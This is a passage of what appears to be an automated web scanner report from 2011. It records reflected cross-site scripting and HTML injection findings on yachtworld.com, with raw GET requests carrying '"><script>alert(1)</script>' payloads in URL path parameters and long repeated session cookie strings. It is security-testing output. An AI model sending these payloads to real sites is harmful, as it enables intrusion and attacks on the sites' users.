yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:57 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bff1f"><script>alert(1)</script>b4d2fff4b7b was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Maxum/1bff1f"><script>alert(1)</script>b4d2fff4b7b HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:04 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f970a"><a>93e7bbbac3f was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/typef970a"><a>93e7bbbac3f/Pursuit/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:22 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 262f0"><a>29d9123605e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/Pursuit262f0"><a>29d9123605e/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:29 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81d76"><script>alert(1)</script>f06c1c35f6 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/category/type/Pursuit/181d76"><script>alert(1)</script>f06c1c35f6 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:37 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9196e"><a>07485257775 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type9196e"><a>07485257775/Regal/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%2